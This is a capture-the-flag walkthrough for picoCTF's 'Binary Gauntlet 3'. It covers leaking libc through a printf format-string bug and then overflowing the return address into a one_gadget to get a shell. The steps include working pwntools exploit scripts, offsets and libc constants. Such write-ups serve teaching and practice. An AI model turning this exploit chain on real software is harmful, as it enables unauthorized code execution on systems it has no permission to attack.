Description
The final stage of the Binary Gauntlet. Unlike Gauntlet 0/1/2, the stack here is non-executable, so the 'leak a stack address and jump to your shellcode' trick from the earlier levels does not work. This level is a ret2libc: leak libc through the format-string bug, then return into a one-gadget.
Setup
Download the binary and the provided libc. Check mitigations with checksec (NX is enabled here).
Read the binary in a disassembler to see how it reads and prints your input.
wget https://mercury.picoctf.net/static/<hash>/vulnchmod +x vulnchecksec vulnSolution
Want to try it yourself first?
The guided walkthrough reveals hints one step at a time.
Step 1
Map the two bugs: format string + overflowObservationI noticed checksec reported NX enabled and the source showed both a printf(user_input) call and an unbounded buffer copy, which suggested two distinct vulnerabilities to chain: the format string for leaking libc and the overflow for hijacking the return address.main declares char local_78[104] and copies your input in without a length limit, so you overflow the saved return address. The offset from the buffer to the saved return address is 120 bytes. Before that, the program prints your input directly with printf(user_input), which is a format-string vulnerability you can use to leak a libc-relative pointer off the stack.bashchecksec vuln # NX enabled -> no stack shellcode (unlike gauntlet 0/1/2)bash# Find the offset to saved RIP (cyclic pattern): it is 120 bytes here.pythonpython3 -c "from pwn import *; print(cyclic_find(0x6161616b))"Expected output
120
What didn't work first
Tried: Running the cyclic pattern against the binary locally and getting a different offset than 120
If you did not supply the challenge-provided libc with LD_PRELOAD, the local glibc's stack frame for __libc_start_main is a different size, shifting the saved RIP offset. Run checksec and patchelf/pwninit to patch the binary to the provided libc before measuring the offset so the number you get matches the remote instance.
Tried: Trying ret2shellcode after seeing a format-string and overflow in the same binary
Gauntlet 0/1/2 allowed stack shellcode because NX was off. Here checksec shows NX enabled, so the stack pages are marked non-executable and jumping to shellcode you wrote there triggers a SIGSEGV instead of running your code. The correct path is ret2libc: leak the base address first, then jump into existing libc code.
Learn more
Why this level changes tactics. Gauntlet 0/1/2 let you place shellcode on the stack and jump to it. Here NX (non-executable stack) is on, so the stack bytes you control cannot be executed. The reusable primitive that remains is ret2libc: redirect the return into existing executable code in libc. To do that you first need libc's runtime base, which the format-string leak provides.
Step 2
Leak libc with the format stringObservationI noticed printf(user_input) was called with no format argument before the overflow was triggered, which suggested using a positional %p specifier to print a libc-relative return address off the stack and compute the libc base by subtracting its known offset.Send a format specifier that prints a stack slot holding a libc address. In the 2021 mercury instance, %23$p returns a pointer that sits a fixed distance above libc base, so libc_base = leak - 231 - 0x21b10 (the 0x21b10 is __libc_start_main's offset in libc6 2.27-3ubuntu1.4). Recompute these constants if your libc differs.pythonpython3 - <<'PY' from pwn import remote io = remote("mercury.picoctf.net", <PORT_FROM_INSTANCE>) io.sendline(b"%23$p") leak = int(io.recvline().strip(), 16) libc_base = leak - 231 - 0x21b10 # instance-specific; verify against the given libc print(hex(libc_base)) PYWhat didn't work first
Tried: Sending %23$s instead of %23$p to read the pointer as a string
%s dereferences the value at that stack slot and tries to print bytes until a null terminator, which either crashes (SIGSEGV if the address is not mapped) or returns garbage characters. You need %p to print the raw numeric pointer value in hex so you can subtract the known __libc_start_main offset from it to compute libc_base.
Tried: Trying %1$p through %10$p and assuming one of those early slots holds the libc address
The libc-internal return address near __libc_start_main sits deep in the call frame, around slot 23 on this binary. Low-numbered slots return saved registers and local buffer addresses, not libc pointers. Without inspecting the stack layout under GDB with info frame and x/40gx $rsp, picking the wrong slot produces a value that does not convert to a valid libc_base when you subtract the known offset.
Learn more
Why a positional %p leaks libc. When a program runs
printfon attacker text with no format argument, each%pprints whatever is at the corresponding argument slot, which on the stack means saved registers and return addresses. One of those slots holds a libc-internal return address (here near__libc_start_main), and subtracting that symbol's known offset yields the libc base. ASLR randomizes the base, but not the internal offsets, so one leak defeats it.Step 3
Return into a one-gadgetObservationI noticed that a direct ret2system approach would require controlling rdi and stack alignment, and the challenge provided a specific libc binary, which suggested running one_gadget against that exact libc to find a self-contained execve gadget that avoids those extra setup steps.With libc_base known, overflow the return address (120 bytes of padding) with the address of a one_gadget. In the challenge libc (2.27-3ubuntu1.4) the gadget at offset 0x4f432 executes execve('/bin/sh', 0, 0). Run one_gadget on the provided libc to get the right offset and its register/stack constraints for your build.pythonpython3 - <<'PY' from pwn import remote, p64 # carry libc_base from the previous step ONE_GADGET = 0x4f432 # from: one_gadget ./libc.so.6 payload = b"A" * 120 + p64(libc_base + ONE_GADGET) io.sendline(payload) io.interactive() # -> shell, then: cat flag.txt PYIf the gadget's constraints are not met (it segfaults), try the other one_gadget offsets the tool prints, or fall back to a full
pop rdi; ret -> "/bin/sh" -> systemchain with aretadded first for 16-byte stack alignment.What didn't work first
Tried: Jumping directly to system with rdi pointing at '/bin/sh' and hitting a SIGSEGV or SIGBUS
The x86-64 ABI requires the stack to be 16-byte aligned at the call instruction. A raw ret into system without an extra ret gadget beforehand often misaligns the stack by 8 bytes, causing a crash inside system's SSE movaps instruction. Adding a bare ret gadget (found with ROPgadget or ropper in the binary or libc) before the system address fixes alignment and avoids the crash.
Tried: Using the one_gadget offset from a different libc version (e.g. Ubuntu 18.04 vs. 20.04)
One_gadget offsets are compiled into the specific libc binary; they change between versions and patch levels. If you run one_gadget on your local system libc instead of the challenge-provided libc.so.6, the offset will point into the wrong location and the payload will jump to arbitrary code rather than the execve gadget. Always run one_gadget against the exact libc downloaded with the challenge.
Learn more
Why one_gadget over system. A clean
system("/bin/sh")call needsrdipointing at the string and a 16-byte-aligned stack at the call, which often means extra gadgets. A one_gadget is a single libc address that already sets up and callsexecve("/bin/sh", NULL, NULL)when its constraints hold, so the exploit reduces to one address after the padding.See Buffer Overflow Binary Exploitation and Pwntools for CTF for the full ret2libc workflow.
Interactive tools
- Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
- pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.
Flag
Reveal flag
picoCTF{f629b202...}
NX is enabled, so the gauntlet's stack-shellcode trick is out. Use the uncontrolled printf to leak libc (e.g. %23$p minus the known offset), then overflow the return address (offset 120) with a one_gadget at libc+0x4f432 for a shell. The leak slot, fudge constant, and gadget offset are libc-version specific.